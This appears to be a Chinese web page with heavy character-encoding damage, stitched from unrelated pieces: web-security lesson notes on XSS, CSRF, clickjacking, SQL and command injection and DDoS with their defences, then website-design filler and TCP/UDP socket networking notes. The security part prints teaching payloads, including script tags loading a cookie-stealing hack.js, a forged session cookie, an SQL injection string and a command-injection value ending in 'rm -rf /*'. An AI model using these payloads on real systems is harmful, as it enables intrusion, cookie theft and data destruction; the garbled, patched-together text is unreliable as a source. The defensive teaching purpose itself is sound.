XSS (Cross-Site Scripting),跨站腳本攻擊,因?yàn)榭s寫(xiě)和 CSS重疊,所以只能叫 XSS。「跨站腳本攻擊」是指通過(guò)存在安全漏洞的Web?站注冊(cè)?戶(hù)的瀏覽器內(nèi)運(yùn)??法的HTML標(biāo)簽或JavaScript 進(jìn)?的?種攻擊。
跨站腳本攻擊有可能造成以下影響:
xss攻擊分類(lèi)
// 普通
http://localhost:3000/?from=china
// alert嘗試
http://localhost:3000/?from=<script>alert(3)</script>
// 獲取Cookie
http://localhost:3000/?from=<script src="http://localhost:4000/hack.js">
</script>
// 短域名偽造 https://dwz.cn/
// 偽造cookie?入侵 chrome
document.cookie="kaikeba:sess=eyJ1c2VybmFtZSI6Imxhb3dhbmciLCJfZXhwaXJlIjox
NTUzNTY1MDAxODYxLCJfbWF4QWdlIjo4NjQwMDAwMH0=
// 評(píng)論
<script>alert(1)</script>
// 跨站腳本注?入
我來(lái)了了<script src="http://localhost:4000/hack.js"></script>XSS攻擊的危害 - Scripting能?啥就能?啥
XSS攻擊的危害 - Scripting能?啥就能?啥
防范?段
ejs轉(zhuǎn)義?知識(shí)
<% code %>?用于執(zhí)行其中javascript代碼;
<%= code %>會(huì)對(duì)code進(jìn)行html轉(zhuǎn)義;
<%- code %>將不會(huì)行轉(zhuǎn)義
ctx.set('X-XSS-Protection', 0) // 禁止XSS過(guò)濾
// http://localhost:3000/?from=<script>alert(3)</script> 可以攔截 但偽一下就不行了
「內(nèi)容安全策略」 (CSP, Content Security Policy) 是?個(gè)附加的安全層,?于幫助檢測(cè)和緩解 某些類(lèi)型的攻擊,包括跨站腳本 (XSS) 和數(shù)據(jù)注?等攻擊。 這些攻擊可?于實(shí)現(xiàn)從數(shù)據(jù)竊 取到?站破壞或作為惡意軟件分發(fā)版本等?途。
CSP 本質(zhì)上就是建??名單,開(kāi)發(fā)者明確告訴瀏覽器哪些外部資源可以加載和執(zhí)?。我們 只需要配置規(guī)則,如何攔截是由瀏覽器??實(shí)現(xiàn)的。我們可以通過(guò)這種?式來(lái)盡量減少 XSS 攻擊。
?戶(hù)的輸?永遠(yuǎn)不可信任的,最普遍的做法就是轉(zhuǎn)義輸?輸出的內(nèi)容,對(duì)于引號(hào)、尖括號(hào)、斜 杠進(jìn)?轉(zhuǎn)義,對(duì)于富?本來(lái)說(shuō),顯然不能通過(guò)上?的辦法來(lái)轉(zhuǎn)義所有字符,因?yàn)檫@樣會(huì)把需要的格式也過(guò)濾掉。 對(duì)于這種情況,通常采??名單過(guò)濾的辦法,當(dāng)然也可以通過(guò)?名單過(guò)濾,但是考慮到需要過(guò) 濾的標(biāo)簽和標(biāo)簽屬性實(shí)在太多,更加推薦使??名單的?式。
HttpOnly Cookie
這是預(yù)防XSS攻擊竊取?戶(hù)cookie最有效的防御?段。Web應(yīng) ?程序在設(shè)置cookie時(shí),將 其屬性設(shè)為HttpOnly,就可以避免該??的cookie被客戶(hù)端惡意JavaScript竊取,保護(hù)? 戶(hù)cookie信息。
response.addHeader("Set-Cookie", "uid=112; Path=/; HttpOnly")
CSRF(Cross Site Request Forgery),即跨站請(qǐng)求偽造,是?種常?的Web攻擊,它利??戶(hù)已 登錄的身份,在?戶(hù)毫不知情的情況下,以?戶(hù)的名義完成?法操作。
登錄 http://localhost:4000/csrf.html
CSRF攻擊危害
防御
點(diǎn)擊劫持是?種視覺(jué)欺騙的攻擊?段。攻擊者將需要攻擊的?站通過(guò) iframe 嵌套的?式嵌?? ?的??中,并將 iframe 設(shè)置為透明,在??中透出?個(gè)按鈕誘導(dǎo)?戶(hù)點(diǎn)擊。
// 登錄
http://localhost:4000/clickjacking.html
防御
X-FRAME-OPTIONS 是?個(gè) HTTP 響應(yīng)頭,在現(xiàn)代瀏覽器有?個(gè)很好的?持。這個(gè) HTTP 響應(yīng)頭 就是為了防御? iframe 嵌套的點(diǎn)擊劫持攻擊。
該響應(yīng)頭有三個(gè)值可選,分別是
ctx.set('X-FRAME-OPTIONS', 'DENY')
<head>
<style id="click-jack">
html {
display: none !important;
}
</style>
</head>
<body>
<script>
if (self == top) {
var style = document.getElementById('click-jack')
document.body.removeChild(style)
} else {
top.location = self.location
}
</script>
</body>
以上代碼的作?就是當(dāng)通過(guò) iframe 的?式加載??時(shí),攻擊者的??直接不顯示所有內(nèi)容了。
// 填?入特殊密碼
1'or'1'='1
// 拼接后的SQL
SELECT *
FROM test.user
WHERE username = 'laowang'
AND password = '1'or'1'='1'
防御
// 以 Node.js 為例,假如在接口中需要從 github 下載用戶(hù)指定的 repo
const exec = require('mz/child_process').exec;
let params = {/* ?用戶(hù)輸入的參數(shù) */};
exec(`git clone ${params.repo} /some/path`);
// 以 Node.js 為例,假如在接口中需要從 github 下載用戶(hù)指定的 repo
const exec = require('mz/child_process').exec;
let params = {/* ?用戶(hù)輸入的參數(shù) */};
exec(`git clone ${params.repo} /some/path`);
如果傳?的參數(shù)是會(huì)怎樣
https://github.com/xx/xx.git && rm -rf /* &&
顧名思義,DNS服務(wù)器(DNS解析各個(gè)步驟)被篡改,修改了域名解析的結(jié)果,使得訪(fǎng)問(wèn)到的不是預(yù)期 的ip
http://www.ruanyifeng.com/blog/2018/06/ddos.html 阮?峰
DDOS (distributed denial of service)不是?種攻擊,?是??類(lèi)攻擊的總稱(chēng)。它有??種類(lèi)型,新的攻擊?法還在不斷發(fā)明出來(lái)。 ?站運(yùn)?的各個(gè)環(huán)節(jié),都可以是攻擊?標(biāo)。只要把?個(gè)環(huán)節(jié)攻破,使得整個(gè)流程跑不起來(lái),就達(dá)到了 癱瘓服務(wù)的?的。
其中,?較常?的?種攻擊是 cc 攻擊。它就是簡(jiǎn)單粗暴地送來(lái)?量正常的請(qǐng)求,超出服務(wù)器的最?承 受量,導(dǎo)致宕機(jī)。我遭遇的就是 cc 攻擊,最多的時(shí)候全世界?概20多個(gè) IP 地址輪流發(fā)出請(qǐng)求,每個(gè) 地址的請(qǐng)求量在每秒200次~300次。我看訪(fǎng)問(wèn)?志的時(shí)候,就覺(jué)得那些請(qǐng)求像洪??樣涌來(lái),?眨眼 就是??堆,?分鐘的時(shí)間,?志?件的體積就?了100MB。說(shuō)實(shí)話(huà),這只能算?攻擊,但是我的個(gè) ??站沒(méi)有任何防護(hù),服務(wù)器還是跟其他?共享的,這種流量?來(lái)?刻就下線(xiàn)了。
防御?段
網(wǎng)頁(yè)制作怎么弄:先確定網(wǎng)站風(fēng)格。“風(fēng)格”是抽象的,指訪(fǎng)問(wèn)者對(duì)網(wǎng)站整體形象的綜合感受。這個(gè)“整體形象”包括CI(徽標(biāo)、顏色、字體、口號(hào))、布局、瀏覽方法、交互性、文本、顏色、內(nèi)容價(jià)值和網(wǎng)站的許多其他因素。網(wǎng)站可以是平易近人的、活潑的,也可以是專(zhuān)業(yè)而嚴(yán)肅的。
設(shè)計(jì)網(wǎng)站標(biāo)語(yǔ)。也可以說(shuō),網(wǎng)站的精神、主題和中心,或者網(wǎng)站的目標(biāo),可以用一句話(huà)或一句話(huà)高度概括。使用有力的詞語(yǔ)或詞匯來(lái)總結(jié)網(wǎng)站并進(jìn)行外部宣傳,您可以收到更好的結(jié)果。
創(chuàng)意內(nèi)容選擇
好的內(nèi)容選擇需要好的創(chuàng)造力。作為一名網(wǎng)頁(yè)設(shè)計(jì)師,最麻煩的是沒(méi)有好的內(nèi)容創(chuàng)意。網(wǎng)絡(luò)上最具創(chuàng)意的想法來(lái)自虛擬與現(xiàn)實(shí)的結(jié)合。創(chuàng)意的目的是更好地宣傳和推廣網(wǎng)站。如果創(chuàng)意不錯(cuò),但對(duì)網(wǎng)站的發(fā)展毫無(wú)意義,那么網(wǎng)站設(shè)計(jì)者和制作人也應(yīng)該放棄這種創(chuàng)意。此外,主頁(yè)的內(nèi)容是網(wǎng)站的根。如果內(nèi)容是空的,無(wú)論頁(yè)面多么精致,用戶(hù)仍然很少。基本上,網(wǎng)站內(nèi)容仍然控制著網(wǎng)站流量,內(nèi)容為王仍然是個(gè)人網(wǎng)站成功的關(guān)鍵。
Div css布局。這是專(zhuān)業(yè)生產(chǎn)的唯一方式。網(wǎng)絡(luò)元素依賴(lài)它來(lái)構(gòu)建基本框架,如百度空間、QQ空間皮膚等。
數(shù)據(jù)庫(kù)是動(dòng)態(tài)網(wǎng)頁(yè)的基礎(chǔ),如百度對(duì)問(wèn)題的回答,包括閱讀、書(shū)寫(xiě)、修改和刪除數(shù)據(jù)庫(kù)。常見(jiàn)的數(shù)據(jù)庫(kù)包括mysql、mssql、access等。數(shù)據(jù)庫(kù)是所有軟件的基礎(chǔ)。80多個(gè)應(yīng)用程序涉及數(shù)據(jù)庫(kù)。至于網(wǎng)頁(yè)制作,不需要深入研究。
動(dòng)態(tài)語(yǔ)言,asp,php,jsp,。Net(c#等)。為了操作數(shù)據(jù)庫(kù),交互需要?jiǎng)討B(tài)語(yǔ)言。現(xiàn)在許多動(dòng)態(tài)語(yǔ)言,如php,都有“框架”。用框架建造車(chē)站就像用預(yù)制房屋的一部分建造房屋一樣。所有這些都是你自己寫(xiě)的,就像建造一座磚房一樣。
# 一 外網(wǎng)通信與P2P
生活中,我們普遍使用的網(wǎng)絡(luò)都是外網(wǎng)通信,像微信、支付寶這些應(yīng)用,當(dāng)然也有許多內(nèi)網(wǎng)的應(yīng)用(企業(yè)內(nèi)部視頻會(huì)議,VPN等等),此文暫且不表;
外網(wǎng)通信開(kāi)發(fā)中需要知道外網(wǎng)IP與端口, IP38(一個(gè)可以查詢(xún)IP地址或域名的網(wǎng)站)上可以看到外網(wǎng)IP, 但是如果你是路由器上網(wǎng), 那么需要作端口映射。
### 1.微信與QQ的通信了解
微信通訊中使用了HTTP短連接和TCP長(zhǎng)連接,并沒(méi)有用到UDP,其中登陸驗(yàn)證和頭像身份信息及日志等功能采用的HTTP,文本消息、語(yǔ)音消息、視頻消息、圖片消息這些使用的是TCP長(zhǎng)連接。通過(guò)心跳包來(lái)維護(hù)長(zhǎng)連接狀態(tài),300S一個(gè)心跳 ,微信視頻聊天是UDP,信息是TCP。(可以通過(guò)隨身WIFI,用wireshark抓一下包就知道了)引:https://www.oschina.net/question/104204_112824
QQ登陸時(shí)采用TCP協(xié)議和HTTP協(xié)議,和好友之間發(fā)送消息主要采用UDP協(xié)議,內(nèi)網(wǎng)傳文件采用了P2P技術(shù)。
1.登陸過(guò)程,客戶(hù)端client 采用TCP協(xié)議向服務(wù)器server發(fā)送信息,HTTP協(xié)議下載信息。登陸之后,會(huì)有一個(gè)TCP連接來(lái)保持在線(xiàn)狀態(tài)。2.和好友發(fā)消息,客戶(hù)端client采用UDP協(xié)議,但是需要通過(guò)服務(wù)器轉(zhuǎn)發(fā)。騰訊為了確保傳輸消息的可靠,采用上層協(xié)議來(lái)保證可靠傳輸。如果消息發(fā)送失敗,客戶(hù)端會(huì)提示消息發(fā)送失敗,并可重新發(fā)送。3.如果是在內(nèi)網(wǎng)里面的兩個(gè)客戶(hù)端傳文件,QQ采用的是P2P技術(shù),不需要服務(wù)器中轉(zhuǎn)。如果單就QQ用戶(hù)消息的傳遞而言:最早年是UDP,而且是P2P的。原因前面很多同學(xué)提了。1)P2P的UDP穿透容易。這個(gè)應(yīng)該是主要原因。2)UDP成本低。用過(guò)老QQ應(yīng)該還記得很多時(shí)候有消息無(wú)法傳遞到對(duì)端的事情。有人還記得當(dāng)年的QQ可以查看對(duì)方的地點(diǎn)嗎。就是通過(guò)IP轉(zhuǎn)換查詢(xún)得到的。當(dāng)然使用UDP并不完美呀。安全問(wèn)題就很麻煩。現(xiàn)在,如果沒(méi)記錯(cuò)后面都是TCP的了。而且已經(jīng)都是C/S架構(gòu)的了。主要改進(jìn)的原因還是安全吧。改進(jìn)的時(shí)間應(yīng)該在06年左右。當(dāng)然其他很多東西的傳輸也還有走UDP的。
王者榮耀更新:模仿TCP的UDP協(xié)議(騰訊自己封裝)
TCP完整通信過(guò)程
1.創(chuàng)建套接字socket;2.綁定bind;3.監(jiān)聽(tīng)listen;
4.對(duì)方主動(dòng)連接connect-接收連接請(qǐng)求accept(會(huì)創(chuàng)建新的套接字);
5.使用新的套接字通信send/write-對(duì)方revc/read;
6.close
TCP、UDP優(yōu)缺點(diǎn)比較
UDP占有系統(tǒng)資源少,可能會(huì)丟包
TCP是可靠的傳輸。下載時(shí),telnet時(shí)....
UDP是不可靠傳輸。視頻,語(yǔ)音聊天....
### 2.TCP/UDP/HTTP 詳解
TCP和UDP使用IP協(xié)議從一個(gè)網(wǎng)絡(luò)傳送數(shù)據(jù)包到另一個(gè)網(wǎng)絡(luò)。把IP想像成一種高速公路,它允許其它協(xié)議在上面行駛并找到到其它電腦的出口。TCP和UDP是高速公路上的“卡車(chē)”,它們攜帶的貨物就像HTTP,文件傳輸協(xié)議FTP這樣的協(xié)議等。TCP和UDP是FTP,HTTP和SMTP之類(lèi)使用的傳輸層協(xié)議。雖然TCP和UDP都是用來(lái)傳輸其他協(xié)議的,它們卻有一個(gè)顯著的不同:TCP提供有保證的數(shù)據(jù)傳輸,而UDP不提供。這意味著TCP有一個(gè)特殊的機(jī)制來(lái)確保數(shù)據(jù)安全的不出錯(cuò)的從一個(gè)端點(diǎn)傳到另一個(gè)端點(diǎn),而UDP不提供任何這樣的保證。HTTP(超文本傳輸協(xié)議)是利用TCP在兩臺(tái)電腦(通常是Web服務(wù)器和客戶(hù)端)之間傳輸信息的協(xié)議。客戶(hù)端使用Web瀏覽器發(fā)起HTTP請(qǐng)求給Web服務(wù)器,Web服務(wù)器發(fā)送被請(qǐng)求的信息給客戶(hù)端。記住,需要IP協(xié)議來(lái)連接網(wǎng)絡(luò);TCP是一種允許我們安全傳輸數(shù)據(jù)的機(jī)制,使用TCP協(xié)議來(lái)傳輸數(shù)據(jù)的HTTP是Web服務(wù)器和客戶(hù)端使用的特殊協(xié)議。Socket 接口是TCP/IP網(wǎng)絡(luò)的API,Socket接口定義了許多函數(shù)或例程,用以開(kāi)發(fā)TCP/IP網(wǎng)絡(luò)上的應(yīng)用程序。
TCP/IP握手詳解:https://blog.csdn.net/huangshulang1234/article/details/79061438
TCP&UDP幾種常見(jiàn)IO模型
1.TCP并發(fā)阻塞IO:多線(xiàn)程實(shí)現(xiàn)
多進(jìn)程實(shí)現(xiàn),出現(xiàn)無(wú)法連接時(shí)有可能端口被占用;
IO多路復(fù)用
#### Socket編程(TCP/UDP的API)
通訊步驟(UDP為主 升級(jí)到TCP):
①申請(qǐng)socket套接字 skt_fd = socket( AF_INET, SOCK_STREAM, 0);
/*AF_INET:使用IPV4的協(xié)議 SOCK_STREAM:使用tcp通信 0:使用標(biāo)準(zhǔn)協(xié)議,返回一個(gè)針對(duì)網(wǎng)絡(luò)操作鑰匙*/
②服務(wù)端
/*綁定IP地址結(jié)構(gòu)體和套接字,實(shí)現(xiàn)資源初始化*/
rtv = bind(skt_fd, (struct sockaddr *)&skt_addr, sizeof(skt_addr));
{/*監(jiān)聽(tīng):設(shè)置網(wǎng)絡(luò)最大同時(shí)通信數(shù)量:2*/
rtv = listen(skt_fd, 2);

}
客戶(hù)端
connect連接 rtv = connect(skt_fd, (struct sockaddr *)&skt_addr, sizeof(skt_addr));/*skt_addr是IPV4結(jié)構(gòu)體sockaddr_in對(duì)象*/

1.htonl(INADDR_ANY);//登記本機(jī)所有網(wǎng)卡
③收rtv = read(clt_fd, buf, sizeof(buf));發(fā)rtv=write(skt_fd,buf,sizeof(buf));
sendto(skt_fd, buf, sizeof(buf),0,(struct sockaddr *)&clt_addr, &len );
recvFrom
④關(guān)閉close(skt_fd);
bind的端就叫發(fā)送端,誰(shuí)先接收誰(shuí)綁定bind bind自己的IP 兩邊都綁定
接收端bind后占用解除 sinsize = 1;
一個(gè)套接字建立一個(gè)連接,connect只用使用一次 客戶(hù)端/服務(wù)端都一樣
收發(fā)函數(shù)send() recv()
字符串轉(zhuǎn)整數(shù)函數(shù):atoi()
四類(lèi)網(wǎng)絡(luò)地址(傳統(tǒng)32位)-通俗講解
A:第一字節(jié)網(wǎng)絡(luò)地址 二三四字節(jié)主機(jī)地址 0開(kāi)始
B:二 10
C:三 110
D:
一般不用0和255
前三個(gè)數(shù)第一個(gè)不可以是0,其他2個(gè)數(shù)為0~255任意數(shù),我們就拿最后一個(gè)數(shù)(也就是Ip二進(jìn)制后8位)來(lái)說(shuō)吧,可用的IP地址一般不是以0或255結(jié)尾,以0結(jié)尾的一般表示網(wǎng)絡(luò)地址,255結(jié)尾的是廣播地址,也就是說(shuō)我們用的IP地址是1~254結(jié)尾之間的,這其中以1或254結(jié)尾的地址常常會(huì)用作網(wǎng)關(guān)地址,所以我們電腦用的ip后面一般是1~253或2~254之間的數(shù)結(jié)尾的。
IP地址分類(lèi) C類(lèi)網(wǎng)絡(luò)號(hào)占三段(24位)
IP數(shù)據(jù)報(bào)重組:分片發(fā)生在路由上 重組在目的主機(jī) 數(shù)據(jù)包首部包含分片信息
TCP四次握手:SYN建立連接 FIN關(guān)閉連接 ACK響應(yīng) PSH有DATA數(shù)據(jù)傳輸 RST連接重置 首部報(bào)文包含內(nèi)容 URG=1緊急封包
## 動(dòng)起來(lái)
### 1.小項(xiàng)目
上面說(shuō)了一大堆理論知識(shí),現(xiàn)在讓我們來(lái)親手實(shí)踐一下,用最簡(jiǎn)單的tcp/ip協(xié)議來(lái)實(shí)現(xiàn)一個(gè)簡(jiǎn)單的局域網(wǎng)通信小程序吧;
①
②
③
④
⑤
### 2.中等實(shí)例
帶UI多人局域網(wǎng)聊天
### 3.網(wǎng)絡(luò)服務(wù)器
多人群聊
文件傳輸
在線(xiàn)視頻
## 二 聯(lián)網(wǎng)技術(shù)應(yīng)用及DLNA介紹
https://blog.csdn.net/gebitan505/article/details/19497545
使用Platium庫(kù)開(kāi)發(fā)dlna投屏功能:https://blog.csdn.net/w_z_z_1991/article/details/52926219 里面介紹很好
《智能家庭網(wǎng)絡(luò):技術(shù)、標(biāo)準(zhǔn)與應(yīng)用實(shí)踐》
https://openconnectivity.org/developer/developer-kit
電腦控制手機(jī):Vysor https://blog.csdn.net/nongminkouhao/article/details/81265820
## 三 常見(jiàn)的網(wǎng)絡(luò)開(kāi)發(fā)問(wèn)題
### 1.C10K(10000 connection)
描述:
解決方案:
### 2.音視頻傳輸
延時(shí) 包的大小 圖像/視頻壓縮 內(nèi)/外網(wǎng)
### 3.并發(fā)處理
1.epoll這種可以支持成千上萬(wàn)tcp并發(fā)連接
2.udp模擬tcp,udp缺點(diǎn)及優(yōu)化
3.TCP維持多人同時(shí)在線(xiàn)是個(gè)問(wèn)題[1], 涉及到服務(wù)器數(shù)量,系統(tǒng)調(diào)優(yōu),編程手段等很多方面
4.QQ UDP丟包重發(fā)機(jī)制(緩存MTU設(shè)置 頭部信息 切包 編號(hào) 多線(xiàn)程收發(fā))
### 4.多線(xiàn)程與互斥鎖(解決并發(fā)問(wèn)題)

## 常見(jiàn)的網(wǎng)絡(luò)通信流程(每層對(duì)應(yīng)的硬件有哪些)及通信流程解析
例:QQ->物理層(網(wǎng)卡,廠商提供) 數(shù)據(jù)鏈路層(網(wǎng)卡驅(qū)動(dòng) 通信協(xié)議)
會(huì)話(huà)層:登錄 加密算法 應(yīng)用層:QQ界面程序 表示層:解密
路由器 交換機(jī):①網(wǎng)路層(ip協(xié)議,路由:數(shù)據(jù)發(fā)送路徑[路由協(xié)議(算法)用來(lái)解決何種效率最高])②數(shù)據(jù)鏈路層(安全 效率)路由器國(guó)內(nèi)研發(fā)主要方向:優(yōu)化協(xié)議 算法 虛擬網(wǎng)卡->軟件代替硬件 什么是AP QOS模式,帶雙WAN 下載續(xù)傳
路由表-數(shù)據(jù)結(jié)構(gòu),算法算出最高效路徑端口號(hào)(0-65535,2個(gè)字節(jié),16位二進(jìn)制,實(shí)際從1024開(kāi)始用,之前有大部分有系統(tǒng)用)
即時(shí)聊天架構(gòu)解析(即時(shí)通訊網(wǎng) http://www.52im.net/thread-33-1-1.html)
1.登陸過(guò)程,客戶(hù)端client 采用TCP協(xié)議向服務(wù)器server發(fā)送信息,HTTP協(xié)議下載信息。登陸之后,會(huì)有一個(gè)TCP連接來(lái)保持在線(xiàn)狀態(tài)。
2.和好友發(fā)消息,客戶(hù)端client采用UDP協(xié)議,但是需要通過(guò)服務(wù)器轉(zhuǎn)發(fā)。騰訊為了確保傳輸消息的可靠,采用上層協(xié)議來(lái)保證可靠傳輸。如果消息發(fā)送失敗,客戶(hù)端會(huì)提示消息發(fā)送失敗,并可重新發(fā)送。
3.如果是在內(nèi)網(wǎng)里面的兩個(gè)客戶(hù)端傳文件,QQ采用的是P2P技術(shù),不需要服務(wù)器中轉(zhuǎn)。
## 好書(shū)、資料推薦
《C++設(shè)計(jì)新思維泛型編程與設(shè)計(jì)模式之應(yīng)用》
詳細(xì)的網(wǎng)絡(luò)IO模式及流程(講得很詳細(xì)):https://www.cnblogs.com/xiehongfeng100/p/4763225.html
DDos攻擊的原理:listen有一個(gè)隊(duì)列,處理連接請(qǐng)求。在收到匿名IP發(fā)過(guò)來(lái)的SYN之后,會(huì)在listen隊(duì)列中存放一個(gè)記錄,但是隊(duì)列容量是有限的,當(dāng)這樣的惡意請(qǐng)求過(guò)多的時(shí)候,listen隊(duì)列里就塞滿(mǎn)了這些無(wú)效的連接請(qǐng)求,然后裝不下更多的連接記錄了,所以就拒絕其他請(qǐng)求
REST是什么?怎么用:http://www.cnblogs.com/alex3714/articles/6808013.html
qps和并發(fā):https://blog.csdn.net/leyangjun/article/details/64131491
fastrpc(高性能 c++ 服務(wù)器框架, 協(xié)程rpc框架):[https://www.oschina.net/p/python-fastrpc][https://enterprise.gitee.com/feimat/fastrpc]
ACE:https://blog.csdn.net/calmreason/article/details/50757535
c socket https://www.cnblogs.com/kefeiGame/p/7246942.html
Http請(qǐng)求與tinyHttpd服務(wù)器:http://www.cnblogs.com/qiyeboy/p/6296387.html
Github:https://github.com/kjiawei/smartHome

*請(qǐng)認(rèn)真填寫(xiě)需求信息,我們會(huì)在24小時(shí)內(nèi)與您取得聯(lián)系。